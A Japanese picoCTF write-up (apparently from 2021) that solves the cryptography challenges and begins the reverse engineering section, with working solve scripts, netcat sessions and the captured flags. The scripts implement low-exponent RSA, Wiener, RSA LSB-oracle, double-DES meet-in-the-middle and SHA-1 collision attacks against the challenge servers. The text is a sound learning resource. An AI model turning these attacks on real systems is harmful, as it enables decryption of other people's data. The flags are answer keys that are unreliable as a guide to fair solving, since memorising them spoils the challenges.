import string LOWERCASE_OFFSET = ord("a") ALPHABET = string.ascii_lowercase[:16] def b16_encode(plain): enc = "" for c in plain: binary = "{0:08b}".format(ord(c)) enc += ALPHABET[int(binary[:4], 2)] enc += ALPHABET[int(binary[4:], 2)] return enc def shift(c, k): t1 = ord(c) - LOWERCASE_OFFSET t2 = ord(k) - LOWERCASE_OFFSET return ALPHABET[(t1 + t2) % len(ALPHABET)] flag = "redacted" key = "redacted" assert all([k in ALPHABET for k in key]) assert len(key) == 1 b16 = b16_encode(flag) enc = "" for i, c in enumerate(b16): enc += shift(c, key[i % len(key)]) print(enc)
逆の手順を行う unshift と b16_decode を実装し、key を総当たりすれば解ける。
import string LOWERCASE_OFFSET = ord("a") ALPHABET = string.ascii_lowercase[:16] def b16_decode(enc): dec = "" for i in range(0, len(enc), 2): n1 = ord(enc[i]) - LOWERCASE_OFFSET n2 = ord(enc[i+1]) - LOWERCASE_OFFSET dec += chr((n1 << 4) + n2) return dec def unshift(c, k): t1 = ord(c) - LOWERCASE_OFFSET t2 = ord(k) - LOWERCASE_OFFSET return ALPHABET[(t1 - t2) % len(ALPHABET)] enc = 'mlnklfnknljflfmhjimkmhjhmljhjomhmmjkjpmmjmjkjpjojgjmjpjojojnjojmmkmlmijimhjmmj' for key in ALPHABET: b16 = "" for i, c in enumerate(enc): b16 += unshift(c, key[i % len(key)]) flag = b16_decode(b16) if all([c in string.printable for c in flag]): print(flag)
上記のスクリプトを実行すると、2つの候補が出力された。両方とも入力してみると、1つ目が正しいフラグになっていた。
$ python3 solve.py et_tu?_a2da1e18af49f649806988786deb2a6c TcNcd.NP!SP T 'PU#(U%#('/%(''&'%STQ!P%R
picoCTF{et_tu?_a2da1e18af49f649806988786deb2a6c}
Mini RSA - 70 points
What happens if you have a small exponent? There is a twist though, we padded the plaintext so that (M ** e) is just barely larger than N. Let's decrypt this: ciphertext
e が小さいので Low Public Exponent Attack が可能
#!/usr/bin/env python3 import gmpy2 def long_to_bytes(x: int) -> bytes: return x.to_bytes((x.bit_length() + 7) // 8, 'big') def low_public_exponent_attack(c, e, n=0): while True: m, exact_root = gmpy2.iroot(c, e) if exact_root == True: break c += n return int(m) def main(): n = 1615765684321463054078226051959887884233678317734892901740763321135213636796075462401950274602405095138589898087428337758445013281488966866073355710771864671726991918706558071231266976427184673800225254531695928541272546385146495736420261815693810544589811104967829354461491178200126099661909654163542661541699404839644035177445092988952614918424317082380174383819025585076206641993479326576180793544321194357018916215113009742654408597083724508169216182008449693917227497813165444372201517541788989925461711067825681947947471001390843774746442699739386923285801022685451221261010798837646928092277556198145662924691803032880040492762442561497760689933601781401617086600593482127465655390841361154025890679757514060456103104199255917164678161972735858939464790960448345988941481499050248673128656508055285037090026439683847266536283160142071643015434813473463469733112182328678706702116054036618277506997666534567846763938692335069955755244438415377933440029498378955355877502743215305768814857864433151287 c = 1220012318588871886132524757898884422174534558055593713309088304910273991073554732659977133980685370899257850121970812405700793710546674062154237544840177616746805668666317481140872605653768484867292138139949076102907399831998827567645230986345455915692863094364797526497302082734955903755050638155202890599808146956044568639690002921620304969196755223769438221859424275683828638207433071955615349052424040706261639770492033970498727183446507482899334169592311953247661557664109356372049286283480939368007035616954029177541731719684026988849403756133033533171081378815289443019437298879607294287249591634702823432448559878065453908423094452047188125358790554039587941488937855941604809869090304206028751113018999782990033393577325766685647733181521675994939066814158759362046052998582186178682593597175186539419118605277037256659707217066953121398700583644564201414551200278389319378027058801216150663695102005048597466358061508725332471930736629781191567057009302022382219283560795941554288119544255055962 e = 3 m = low_public_exponent_attack(c, e, n) flag = long_to_bytes(m).decode().strip() print(flag) if __name__ == '__main__': main()
$ python3 solve.py picoCTF{e_sh0u1d_b3_lArg3r_6e2e6bda}
picoCTF{e_sh0u1d_b3_lArg3r_6e2e6bda}
Dachshund Attacks - 80 points
What if
d
is too small? Connect withnc mercury.picoctf.net 36463
.
netcat で接続すると、以下のように表示される。
$ nc mercury.picoctf.net 36463 Welcome to my RSA challenge! e: 81338426052286995123747732562352950660576811927286701220389734194320655488118338968356272516889193559140591791999686777095060774323273871577219519689671631122257756983905248101320079667770599142909235209336703136245845881345313663647681369686266817269118761407380470660644447830816115282838986720913594437625 n: 102291509411562701164624436311675543622043278282678503390546418784792382334937937729055468680895936652749612657408673576793527876291815456231260977808904305146004148189867579768603200371579784755641152320785820748608974713746518652777608870833043386367345892772721857704904203962293335259665375265888162389169 c: 34414701984144338102141411905665026142345540096382151304281607869755991069070482830197537726796551343742594619088292267874819430914154403553924084333058056732112137222259121160631915516375094835352648367563913442773878211696927737553844180819183229951995031361626441210501916100916717624347208193173655444345
e が大きすぎる場合、Wiener attack で d を求めることができる。
import owiener def long_to_bytes(x: int) -> bytes: return x.to_bytes((x.bit_length() + 7) // 8, 'big') def main(): e = 81338426052286995123747732562352950660576811927286701220389734194320655488118338968356272516889193559140591791999686777095060774323273871577219519689671631122257756983905248101320079667770599142909235209336703136245845881345313663647681369686266817269118761407380470660644447830816115282838986720913594437625 n = 102291509411562701164624436311675543622043278282678503390546418784792382334937937729055468680895936652749612657408673576793527876291815456231260977808904305146004148189867579768603200371579784755641152320785820748608974713746518652777608870833043386367345892772721857704904203962293335259665375265888162389169 c = 34414701984144338102141411905665026142345540096382151304281607869755991069070482830197537726796551343742594619088292267874819430914154403553924084333058056732112137222259121160631915516375094835352648367563913442773878211696927737553844180819183229951995031361626441210501916100916717624347208193173655444345 d = owiener.attack(e, n) print('d =', d) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag) if __name__ == '__main__': main()
$ python3 solve.py d = 10654506914838660682042479308820932228624973756818215204747660280732997426733 picoCTF{proving_wiener_2635457}
picoCTF{proving_wiener_2635457}
No Padding, No Problem - 90 points
Oracles can be your best friend, they will decrypt anything, except the flag's ciphertext. How will you break it? Connect with
nc mercury.picoctf.net 42248
.
netcat で接続すると、以下のように表示される。
$ nc mercury.picoctf.net 42248 Welcome to the Padding Oracle Challenge This oracle will take anything you give it and decrypt using RSA. It will not accept the ciphertext with the secret message... Good Luck! n: 90101643683642449854141336789755762750892438892492293162747484130901800000476193957507322455444793365572878082615944603531154759082954196403476102687766754013478750367732778910414385109169060566519214178468223030897871266040587489080579439025035637990339198670309017861948362214005512914928246568765305024767 e: 65537 ciphertext: 55059755122316293832806182548856940205700087671359599893654974960052751590338675291837564636041951152539150526610821581731320858542078629785862790217786932780068848408944318495408576899383380788155211222791292060471451513146108358481359709726036875084627488661424786721073201264949133187880243301440697444504 Give me ciphertext to decrypt:
任意の暗号文を復号することができるので、LSB Decryption Oracle Attack で平文を求めることができる。 ただし、サーバへの入力回数制限がある。 何度か試した結果、600回分ぐらいまで LSB が 0 固定だったので、その回数分はサーバに入力せずに探索させるようにした。
from fractions import Fraction import nclib import sys def long_to_bytes(x: int) -> bytes: return x.to_bytes((x.bit_length() + 7) // 8, 'big') def lsb_decryption_oracle_attack(c, e, n, decrypt_lsb_func): lsb_count = 0 bounds = [0, Fraction(n)] print('lsb = ', end='') while True: c2 = (c * pow(2, e, n)) % n if lsb_count < 600: lsb = 0 else: lsb = decrypt_lsb_func(c2) sys.stdout.flush() lsb_count += 1 print(lsb, end='') if lsb == 1: bounds[0] = sum(bounds) / 2 else: bounds[1] = sum(bounds) / 2 diff = bounds[1] - bounds[0] diff = diff.numerator // diff.denominator if diff == 0: print() # return m = bounds[1].numerator // bounds[1].denominator return m c = c2 def main(): host = 'mercury.picoctf.net' port = 42248 nc = nclib.Netcat((host, port)) nc.readuntil('n: ') n = int(nc.readuntil('\n').decode('utf8').strip()) nc.readuntil('e: ') e = int(nc.readuntil('\n').decode('utf8').strip()) nc.readuntil('ciphertext: ') c = int(nc.readuntil('\n').decode('utf8').strip()) print('n =', n) print('e =', e) print('c =', c) def decrypt_lsb(c): nc.readuntil('Give me ciphertext to decrypt: ') nc.send(str(c) + '\n') nc.readuntil('Here you go: ') m = int(nc.readuntil('\n').decode('utf8').strip()) return m % 2 m = lsb_decryption_oracle_attack(c, e, n, decrypt_lsb) flag = long_to_bytes(m).decode() print(flag) if __name__ == '__main__': main()
$ python3 solve.py n = 127538109255149095159351255319745846800842622737071047206458625471775250251247589987255533154549522897945773386612463892310040847081866951183088945315833082409020477026914363348359495479411632017058742284291288096032191788866942959097081110060390924386114120017465652486559435432083309957588562501724746743077 e = 65537 c = 126157948333791054890541032128762049981774872417790778366321819526665365804293162663843061380248606275351261834820605470723069254403322672259795792356479432275253463326722026226003867381699189801868601201429379060463483801885195943124329665680535394848337728418075834649386350321320621979652104693859600216081 lsb = 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100111100111001010110101110011001100100001010101100100001101101000101010110011001011111011110110110000111111101011101100000100010011010110011110010001011000000010001010100101100101110101010000110011101110000000011111101101101110010101100001111100011010001110001010010001101011011100101101101111111000101100010100000011010100111010000111001101011101110011111001011010100000110110111000001001001111010101000010 picoCTF{m4yb3_Th0se_m3s54g3s_4r3_difurrent_7416022}
picoCTF{m4yb3_Th0se_m3s54g3s_4r3_difurrent_7416022}
Play Nice - 110 points
Not all ancient ciphers were so bad... The flag is not in standard format.
nc mercury.picoctf.net 30568
playfair.py
netcat で接続すると、以下のように表示された。
$ nc mercury.picoctf.net 30568 Here is the alphabet: 0fkdwu6rp8zvsnlj3iytxmeh72ca9bg5o41q Here is the encrypted message: herfayo7oqxrz7jwxx15ie20p40u1i What is the plaintext message?
playfair.py を確認すると、末尾に Playfair Cipher の Wikipedia のリンクが書かれていた。
上記を参照したところ、どうやら2文字ずつ変換していくらしいということが分かった。 よって、以下の方針で復号するようにした。
- 2文字ずつ総当たりで暗号化して復号用のテーブルを作成する。
- 作成したテーブルを参照しながら、元の暗号文を復号する。
playfair.py を少し書き換えて復号できるようにした。
#!/usr/bin/python3 -u from pprint import pprint import signal SQUARE_SIZE = 6 def generate_square(alphabet): assert len(alphabet) == pow(SQUARE_SIZE, 2) matrix = [] for i, letter in enumerate(alphabet): if i % SQUARE_SIZE == 0: row = [] row.append(letter) if i % SQUARE_SIZE == (SQUARE_SIZE - 1): matrix.append(row) return matrix def get_index(letter, matrix): for row in range(SQUARE_SIZE): for col in range(SQUARE_SIZE): if matrix[row][col] == letter: return (row, col) print("letter not found in matrix.") exit() def encrypt_pair(pair, matrix): p1 = get_index(pair[0], matrix) p2 = get_index(pair[1], matrix) if p1[0] == p2[0]: return matrix[p1[0]][(p1[1] + 1) % SQUARE_SIZE] + matrix[p2[0]][(p2[1] + 1) % SQUARE_SIZE] elif p1[1] == p2[1]: return matrix[(p1[0] + 1) % SQUARE_SIZE][p1[1]] + matrix[(p2[0] + 1) % SQUARE_SIZE][p2[1]] else: return matrix[p1[0]][p2[1]] + matrix[p2[0]][p1[1]] def encrypt_string(s, matrix): result = "" if len(s) % 2 == 0: plain = s else: plain = s + "0fkdwu6rp8zvsnlj3iytxmeh72ca9bg5o41q"[0] for i in range(0, len(plain), 2): result += encrypt_pair(plain[i:i + 2], matrix) return result # added import itertools alphabet = '0fkdwu6rp8zvsnlj3iytxmeh72ca9bg5o41q' enc_msg = 'herfayo7oqxrz7jwxx15ie20p40u1i' m = generate_square(alphabet) dec_table = {} for x, y in itertools.product(alphabet, alphabet): msg = x + y c = encrypt_string(msg, m) dec_table[c] = msg dec_msg = '' for i in range(0, len(enc_msg), 2): c = enc_msg[i] + enc_msg[i + 1] dec_msg += dec_table[c] print(dec_msg)
$ python3 playfair.py emf57mgc51tp693dtt4g3h7f8ouwq3
netcat で接続し、復号した文字列を入力するとフラグが表示された。
$ nc mercury.picoctf.net 30568 Here is the alphabet: 0fkdwu6rp8zvsnlj3iytxmeh72ca9bg5o41q Here is the encrypted message: herfayo7oqxrz7jwxx15ie20p40u1i What is the plaintext message? emf57mgc51tp693dtt4g3h7f8ouwq3 Congratulations! Here's the flag: 007d0a696aaad7fb5ec21c7698e4f754
007d0a696aaad7fb5ec21c7698e4f754
Double DES - 120 points
I wanted an encryption service that's more secure than regular DES, but not as slow as 3DES... The flag is not in standard format.
nc mercury.picoctf.net 33425
ddes.py
netcat で接続すると、以下のように表示される。
$ nc mercury.picoctf.net 33425 Here is the flag: d12a8478b499ba11c015a0c38ce77fe5a0f00f5de73c7532a2526344948ed444d10033d506cf0c08 What data would you like to encrypt? 41 efc063ad29d74143 What data would you like to encrypt?
Double DES かつ任意の平文を同じ鍵で暗号化した結果を入手することができるので、中間一致攻撃で鍵を特定することができる。 以下を参考にスクリプトを作成した。
出典: Meet-in-the-middle attack - Wikipedia
from Crypto.Cipher import DES import string import itertools import binascii """ $ nc mercury.picoctf.net 33425 Here is the flag: d12a8478b499ba11c015a0c38ce77fe5a0f00f5de73c7532a2526344948ed444d10033d506cf0c08 What data would you like to encrypt? 41 efc063ad29d74143 What data would you like to encrypt? """ def pad(msg): block_len = 8 over = len(msg) % block_len pad = block_len - over return (msg + " " * pad).encode() def create_dec_k2_table(c): dec_k2_table = {} for ch in itertools.product(string.digits, repeat=6): key2 = pad(''.join(ch)) cipher2 = DES.new(key2, DES.MODE_ECB) dec = cipher2.decrypt(c) dec_k2_table[dec] = key2 return dec_k2_table def create_enc_k1_table(p): enc_k1_table = {} for ch in itertools.product(string.digits, repeat=6): key1 = pad(''.join(ch)) cipher1 = DES.new(key1, DES.MODE_ECB) enc = cipher1.encrypt(p) enc_k1_table[enc] = key1 return enc_k1_table def meet_in_the_middle_attack(p, c): enc_k1_table = create_enc_k1_table(p) dec_k2_table = create_dec_k2_table(c) middle_ciphertext = list(enc_k1_table.keys() & dec_k2_table.keys())[0] key1 = enc_k1_table[middle_ciphertext] key2 = dec_k2_table[middle_ciphertext] print('middle_ciphertext:', binascii.hexlify(middle_ciphertext).decode()) print('key1:', key1) print('key2:', key2) return key1, key2 def double_decrypt(c, key1, key2): cipher2 = DES.new(key2, DES.MODE_ECB) dec_c = cipher2.decrypt(c) cipher1 = DES.new(key1, DES.MODE_ECB) return cipher1.decrypt(dec_c) def main(): p = pad(binascii.unhexlify('41').decode()) c = binascii.unhexlify('efc063ad29d74143') enc_flag = binascii.unhexlify('d12a8478b499ba11c015a0c38ce77fe5a0f00f5de73c7532a2526344948ed444d10033d506cf0c08') key1, key2 = meet_in_the_middle_attack(p, c) flag = double_decrypt(enc_flag, key1, key2) print('flag:', flag.decode()) if __name__ == '__main__': main()
$ python3 solve.py middle_ciphertext: 6c90b66f95635193 key1: b'539737 ' key2: b'379195 ' flag: af5fa5d565081bac320f42feaf69b405
af5fa5d565081bac320f42feaf69b405
It is my Birthday 2 - 170 points
My birthday is coming up again, but I want to have a very exclusive party for only the best cryptologists. See if you can solve my challenge, upload 2 valid PDFs that are different but have the same SHA1 hash. They should both have the same 1000 bytes at the end as the original invite. http://mercury.picoctf.net:59127/ invite.pdf
以下のページから、SHA1ハッシュ値が同一のPDFをダウンロードする。
invite.pdf の後ろから1000バイトを取り出して、各PDFの末尾に追記する。
base_pdf = 'invite.pdf' pdf_files = [ 'shattered-1.pdf', 'shattered-2.pdf', ] with open(base_pdf, 'rb') as f: data = f.read() orig_invite_data = data[-1000:] for pdf in pdf_files: with open(pdf, 'ab') as f: f.write(orig_invite_data)
$ sha1sum shattered-1.pdf shattered-2.pdf 38762cf7f55934b34d179ae6a4c80cadccbb7f0a shattered-1.pdf 38762cf7f55934b34d179ae6a4c80cadccbb7f0a shattered-2.pdf $ python3 add_invite_data.py $ sha1sum shattered-1.pdf shattered-2.pdf 133f99dc4ac356ad2b2b611f82d51fda3451d352 shattered-1.pdf 133f99dc4ac356ad2b2b611f82d51fda3451d352 shattered-2.pdf
データを追記した2つのファイルをアップロードすると、フラグが表示された。
picoCTF{h4ppy_b1rthd4y_2_m3_96ee9031}
Pixelated - 200 points
I have these 2 images, can you make a flag out of them? scrambled1.png scrambled2.png
「うさみみハリケーン」の「青い空を見上げればいつもそこに白い猫」で画像を合成すると、フラグが表示された。
picoCTF{1b867c3e}
New Vignere - 300 points
Another slight twist on a classic, see if you can recover the flag. (Wrap with picoCTF{})
bkglibgkhghkijphhhejggikgjkbhefgpienefjdioghhchffhmmhhbjgclpjfkp
new_vignere.py
New Caesar の続きの問題
前回と違い、今回は key の長さが1~14文字になっている。また、復号後の文字列は abcdef0123456789
のいずれかになっており、候補が少なくなっている。
まずは、暗号化された文字列が正しく復号できる key のパターンをすべて列挙した。
import string import itertools LOWERCASE_OFFSET = ord("a") ALPHABET = string.ascii_lowercase[:16] def b16_encode(plain): enc = "" for c in plain: binary = "{0:08b}".format(ord(c)) enc += ALPHABET[int(binary[:4], 2)] enc += ALPHABET[int(binary[4:], 2)] return enc def shift(c, k): t1 = ord(c) - LOWERCASE_OFFSET t2 = ord(k) - LOWERCASE_OFFSET return ALPHABET[(t1 + t2) % len(ALPHABET)] enc_flag = 'bkglibgkhghkijphhhejggikgjkbhefgpienefjdioghhchffhmmhhbjgclpjfkp' for off in range(0, len(enc_flag), 2): key0_list = [] key1_list = [] for ch in "abcdef0123456789": for k in itertools.product(ALPHABET, repeat=2): key = ''.join(k) b16 = b16_encode(ch) enc = "" for i, c in enumerate(b16): enc += shift(c, key[i % len(key)]) if enc == enc_flag[off:off+2]: key0_list.append(key[0]) key1_list.append(key[1]) print(enc_flag[off:off+2]+'_0', key0_list) print(enc_flag[off:off+2]+'_1', key1_list)
$ python3 test.py | nl 1 bk_0 ['l', 'l', 'l', 'l', 'l', 'l', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o'] 2 bk_1 ['j', 'i', 'h', 'g', 'f', 'e', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b'] 3 gl_0 ['a', 'a', 'a', 'a', 'a', 'a', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd'] 4 gl_1 ['k', 'j', 'i', 'h', 'g', 'f', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c'] 5 ib_0 ['c', 'c', 'c', 'c', 'c', 'c', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f'] 6 ib_1 ['a', 'p', 'o', 'n', 'm', 'l', 'b', 'a', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i'] 7 gk_0 ['a', 'a', 'a', 'a', 'a', 'a', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd'] 8 gk_1 ['j', 'i', 'h', 'g', 'f', 'e', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b'] 9 hg_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e'] 10 hg_1 ['f', 'e', 'd', 'c', 'b', 'a', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n'] 11 hk_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e'] 12 hk_1 ['j', 'i', 'h', 'g', 'f', 'e', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b'] 13 ij_0 ['c', 'c', 'c', 'c', 'c', 'c', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f'] 14 ij_1 ['i', 'h', 'g', 'f', 'e', 'd', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a'] 15 ph_0 ['j', 'j', 'j', 'j', 'j', 'j', 'm', 'm', 'm', 'm', 'm', 'm', 'm', 'm', 'm', 'm'] 16 ph_1 ['g', 'f', 'e', 'd', 'c', 'b', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o'] 17 hh_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e'] 18 hh_1 ['g', 'f', 'e', 'd', 'c', 'b', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o'] 19 ej_0 ['o', 'o', 'o', 'o', 'o', 'o', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b'] 20 ej_1 ['i', 'h', 'g', 'f', 'e', 'd', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a'] 21 gg_0 ['a', 'a', 'a', 'a', 'a', 'a', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd'] 22 gg_1 ['f', 'e', 'd', 'c', 'b', 'a', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n'] 23 ik_0 ['c', 'c', 'c', 'c', 'c', 'c', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f'] 24 ik_1 ['j', 'i', 'h', 'g', 'f', 'e', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b'] 25 gj_0 ['a', 'a', 'a', 'a', 'a', 'a', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd'] 26 gj_1 ['i', 'h', 'g', 'f', 'e', 'd', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a'] 27 kb_0 ['e', 'e', 'e', 'e', 'e', 'e', 'h', 'h', 'h', 'h', 'h', 'h', 'h', 'h', 'h', 'h'] 28 kb_1 ['a', 'p', 'o', 'n', 'm', 'l', 'b', 'a', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i'] 29 he_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e'] 30 he_1 ['d', 'c', 'b', 'a', 'p', 'o', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n', 'm', 'l'] 31 fg_0 ['p', 'p', 'p', 'p', 'p', 'p', 'c', 'c', 'c', 'c', 'c', 'c', 'c', 'c', 'c', 'c'] 32 fg_1 ['f', 'e', 'd', 'c', 'b', 'a', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n'] 33 pi_0 ['j', 'j', 'j', 'j', 'j', 'j', 'm', 'm', 'm', 'm', 'm', 'm', 'm', 'm', 'm', 'm'] 34 pi_1 ['h', 'g', 'f', 'e', 'd', 'c', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p'] 35 en_0 ['o', 'o', 'o', 'o', 'o', 'o', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b'] 36 en_1 ['m', 'l', 'k', 'j', 'i', 'h', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e'] 37 ef_0 ['o', 'o', 'o', 'o', 'o', 'o', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b'] 38 ef_1 ['e', 'd', 'c', 'b', 'a', 'p', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n', 'm'] 39 jd_0 ['d', 'd', 'd', 'd', 'd', 'd', 'g', 'g', 'g', 'g', 'g', 'g', 'g', 'g', 'g', 'g'] 40 jd_1 ['c', 'b', 'a', 'p', 'o', 'n', 'd', 'c', 'b', 'a', 'p', 'o', 'n', 'm', 'l', 'k'] 41 io_0 ['c', 'c', 'c', 'c', 'c', 'c', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f'] 42 io_1 ['n', 'm', 'l', 'k', 'j', 'i', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f'] 43 gh_0 ['a', 'a', 'a', 'a', 'a', 'a', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd'] 44 gh_1 ['g', 'f', 'e', 'd', 'c', 'b', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o'] 45 hc_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e'] 46 hc_1 ['b', 'a', 'p', 'o', 'n', 'm', 'c', 'b', 'a', 'p', 'o', 'n', 'm', 'l', 'k', 'j'] 47 hf_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e'] 48 hf_1 ['e', 'd', 'c', 'b', 'a', 'p', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n', 'm'] 49 fh_0 ['p', 'p', 'p', 'p', 'p', 'p', 'c', 'c', 'c', 'c', 'c', 'c', 'c', 'c', 'c', 'c'] 50 fh_1 ['g', 'f', 'e', 'd', 'c', 'b', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o'] 51 mm_0 ['g', 'g', 'g', 'g', 'g', 'g', 'j', 'j', 'j', 'j', 'j', 'j', 'j', 'j', 'j', 'j'] 52 mm_1 ['l', 'k', 'j', 'i', 'h', 'g', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd'] 53 hh_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e'] 54 hh_1 ['g', 'f', 'e', 'd', 'c', 'b', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o'] 55 bj_0 ['l', 'l', 'l', 'l', 'l', 'l', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o'] 56 bj_1 ['i', 'h', 'g', 'f', 'e', 'd', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a'] 57 gc_0 ['a', 'a', 'a', 'a', 'a', 'a', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd'] 58 gc_1 ['b', 'a', 'p', 'o', 'n', 'm', 'c', 'b', 'a', 'p', 'o', 'n', 'm', 'l', 'k', 'j'] 59 lp_0 ['f', 'f', 'f', 'f', 'f', 'f', 'i', 'i', 'i', 'i', 'i', 'i', 'i', 'i', 'i', 'i'] 60 lp_1 ['o', 'n', 'm', 'l', 'k', 'j', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g'] 61 jf_0 ['d', 'd', 'd', 'd', 'd', 'd', 'g', 'g', 'g', 'g', 'g', 'g', 'g', 'g', 'g', 'g'] 62 jf_1 ['e', 'd', 'c', 'b', 'a', 'p', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n', 'm'] 63 kp_0 ['e', 'e', 'e', 'e', 'e', 'e', 'h', 'h', 'h', 'h', 'h', 'h', 'h', 'h', 'h', 'h'] 64 kp_1 ['o', 'n', 'm', 'l', 'k', 'j', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g']
key は、14文字以下なので、それ以上の長さの文字列を暗号化する場合、key の先頭に戻って再度暗号化に使用される。
上記の結果を基に、key の使用傾向を見ると、o
が9文字毎に出現していることが分かる。
このことから、key の長さは、9文字であると推測できる。
次に 9文字の key が矛盾なく繰り返されているパターンを見つける。
手動で探したところ oedcfjdbe
であれば、矛盾なく繰り返すことができると分かった。
最後に特定した key を使って復号すると、フラグが表示された。
import string LOWERCASE_OFFSET = ord("a") ALPHABET = string.ascii_lowercase[:16] def b16_decode(enc): dec = "" for i in range(0, len(enc), 2): n1 = ord(enc[i]) - LOWERCASE_OFFSET n2 = ord(enc[i+1]) - LOWERCASE_OFFSET dec += chr((n1 << 4) + n2) return dec def unshift(c, k): t1 = ord(c) - LOWERCASE_OFFSET t2 = ord(k) - LOWERCASE_OFFSET return ALPHABET[(t1 - t2) % len(ALPHABET)] enc = 'bkglibgkhghkijphhhejggikgjkbhefgpienefjdioghhchffhmmhhbjgclpjfkp' key = 'oedcfjdbe' b16 = "" for i, c in enumerate(enc): b16 += unshift(c, key[i % len(key)]) flag = b16_decode(b16) print(flag)
$ python3 solve.py 698987ddce418c11e9aa564229c50fda
picoCTF{698987ddce418c11e9aa564229c50fda}
Reverse Engineering(16問)
Transformation - 20 points
I wonder what this really is... enc
''.join([chr((ord(flag[i]) << 8) + ord(flag[i + 1])) for i in range(0, len(flag), 2)])
逆変換をするようにスクリプトを書くと、以下のようになる。
with open('enc', 'r') as f: enc = f.read() flag = '' for ch in enc: flag += chr(ord(ch) >> 8) + chr(ord(ch) & 0xff) print(flag)
$ python3 solve.py picoCTF{16_bits_inst34d_of_8_04c0760d}
picoCTF{16_bits_inst34d_of_8_04c0760d}
keygenme-py - 30 points
bUsername_trial のハッシュ値を使って key_part_dynamic1_trial が正しい値かどうかをチェックしている処理がある。
# snip username_trial = "PRITCHARD" bUsername_trial = b"PRITCHARD" key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_" key_part_dynamic1_trial = "xxxxxxxx" key_part_static2_trial = "}" key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial # snip def enter_license(): user_key = input("\nEnter your license key: ") user_key = user_key.strip() global bUsername_trial if check_key(user_key, bUsername_trial): decrypt_full_version(user_key) else: print("\nKey is NOT VALID. Check your data entry.\n\n") def check_key(key, username_trial): global key_full_template_trial if len(key) != len(key_full_template_trial): return False else: # Check static base key part --v i = 0 for c in key_part_static1_trial: if key[i] != c: return False i += 1 # TODO : test performance on toolbox container # Check dynamic part --v if key[i] != hashlib.sha256(username_trial).hexdigest()[4]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[5]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[3]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[6]: return False 